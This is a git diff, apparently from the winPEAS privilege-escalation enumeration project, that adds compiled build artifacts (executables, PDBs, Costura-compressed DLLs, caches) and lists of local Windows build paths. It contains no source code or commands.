+C:\Users\carlos\source\repos\winPEAS\winPEAS\bin\Release\Microsoft.Win32.TaskScheduler.xml +C:\Users\carlos\source\repos\winPEAS\winPEAS\obj\Release\winPEAS.csproj.Fody.CopyLocal.cache +C:\Users\carlos\source\repos\winPEAS\winPEAS\obj\Release\winPEAS.csproj.CopyComplete +C:\Users\carlos\source\repos\winPEAS\winPEAS\obj\Release\winPEAS.exe +C:\Users\carlos\source\repos\winPEAS\winPEAS\obj\Release\winPEAS.pdb +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Release\winPEAS.exe.config +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Release\winPEAS.exe +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Release\winPEAS.pdb +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Release\Microsoft.Win32.TaskScheduler.xml +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Release\winPEAS.csproj.Fody.CopyLocal.cache +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Release\winPEAS.csproj.CopyComplete +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Release\winPEAS.exe +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Release\winPEAS.pdb +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Release\Microsoft.Win32.TaskScheduler.xml +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Release\winPEAS.csproj.Fody.CopyLocal.cache +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Release\winPEAS.exe +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Release\winPEAS.pdb +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Release\winPEAS.exe.config +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Release\winPEAS.exe +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Release\winPEAS.pdb +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Release\winPEAS.csproj.CopyComplete +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\Release\winPEAS.exe.config +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\Release\winPEAS.exe +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\Release\winPEAS.pdb +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\Release\Microsoft.Win32.TaskScheduler.xml +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\Release\winPEAS.csproj.Fody.CopyLocal.cache +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\Release\winPEAS.csproj.CopyComplete +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\Release\winPEAS.exe +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\Release\winPEAS.pdb diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.csproj.Fody.CopyLocal.cache b/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.csproj.Fody.CopyLocal.cache new file mode 100755 index 0000000..0979e84 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.csproj.Fody.CopyLocal.cache @@ -0,0 +1 @@ +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\packages\TaskScheduler.2.8.16\lib\net40\Microsoft.Win32.TaskScheduler.xml diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.exe b/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.exe new file mode 100755 index 0000000..13b6bf7 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.exe differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.pdb b/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.pdb new file mode 100755 index 0000000..2f77cc5 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.pdb differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..cb1ab19 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..109deab Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..55b9745 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..a29193c Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed new file mode 100755 index 0000000..d9fe526 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..248c7d2 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed new file mode 100755 index 0000000..7039d8f Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..f53f81d Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed new file mode 100755 index 0000000..b5db636 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..2af82ed Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed new file mode 100755 index 0000000..c1e73ce Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100755 index 0000000..164dae9 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.csproj.CopyComplete b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.csproj.CopyComplete new file mode 100755 index 0000000..e69de29 diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.csproj.FileListAbsolute.txt b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.csproj.FileListAbsolute.txt new file mode 100755 index 0000000..8e8b923 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.csproj.FileListAbsolute.txt @@ -0,0 +1,8 @@ +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\x64\Release\winPEAS.exe.config +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\x64\Release\winPEAS.exe +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\x64\Release\winPEAS.pdb +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\x64\Release\Microsoft.Win32.TaskScheduler.xml +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\x64\Release\winPEAS.csproj.Fody.CopyLocal.cache +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\x64\Release\winPEAS.csproj.CopyComplete +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\x64\Release\winPEAS.exe +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\x64\Release\winPEAS.pdb diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.csproj.Fody.CopyLocal.cache b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.csproj.Fody.CopyLocal.cache new file mode 100755 index 0000000..0979e84 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.csproj.Fody.CopyLocal.cache @@ -0,0 +1 @@ +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\packages\TaskScheduler.2.8.16\lib\net40\Microsoft.Win32.TaskScheduler.xml diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.exe b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.exe new file mode 100755 index 0000000..6c2369e Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.exe differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.pdb b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.pdb new file mode 100755 index 0000000..900afcc Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.pdb differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..cb1ab19 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..109deab Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..55b9745 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..a29193c Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed new file mode 100755 index 0000000..d9fe526 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..248c7d2 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed new file mode 100755 index 0000000..7039d8f Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..f53f81d Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed new file mode 100755 index 0000000..b5db636 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..2af82ed Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed new file mode 100755 index 0000000..c1e73ce Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100755 index 0000000..b924d0f Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.csproj.CopyComplete b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.csproj.CopyComplete new file mode 100755 index 0000000..e69de29 diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.csproj.FileListAbsolute.txt b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.csproj.FileListAbsolute.txt new file mode 100755 index 0000000..179d35b --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.csproj.FileListAbsolute.txt @@ -0,0 +1,8 @@ +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\x86\Debug\winPEAS.exe.config +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\x86\Debug\winPEAS.exe +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\x86\Debug\winPEAS.pdb +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\x86\Debug\Microsoft.Win32.TaskScheduler.xml +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\x86\Debug\winPEAS.csproj.Fody.CopyLocal.cache +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\x86\Debug\winPEAS.csproj.CopyComplete +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\x86\Debug\winPEAS.exe +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\x86\Debug\winPEAS.pdb diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.csproj.Fody.CopyLocal.cache b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.csproj.Fody.CopyLocal.cache new file mode 100755 index 0000000..0979e84 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.csproj.Fody.CopyLocal.cache @@ -0,0 +1 @@ +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\packages\TaskScheduler.2.8.16\lib\net40\Microsoft.Win32.TaskScheduler.xml diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.exe b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.exe new file mode 100755 index 0000000..ca1c182 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.exe differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.pdb b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.pdb new file mode 100755 index 0000000..e214786 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Debug/winPEAS.pdb differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..cb1ab19 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..109deab Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..55b9745 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..a29193c Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed new file mode 100755 index 0000000..d9fe526 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..248c7d2 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed new file mode 100755 index 0000000..7039d8f Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..f53f81d Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed new file mode 100755 index 0000000..b5db636 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/x86/Release/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed 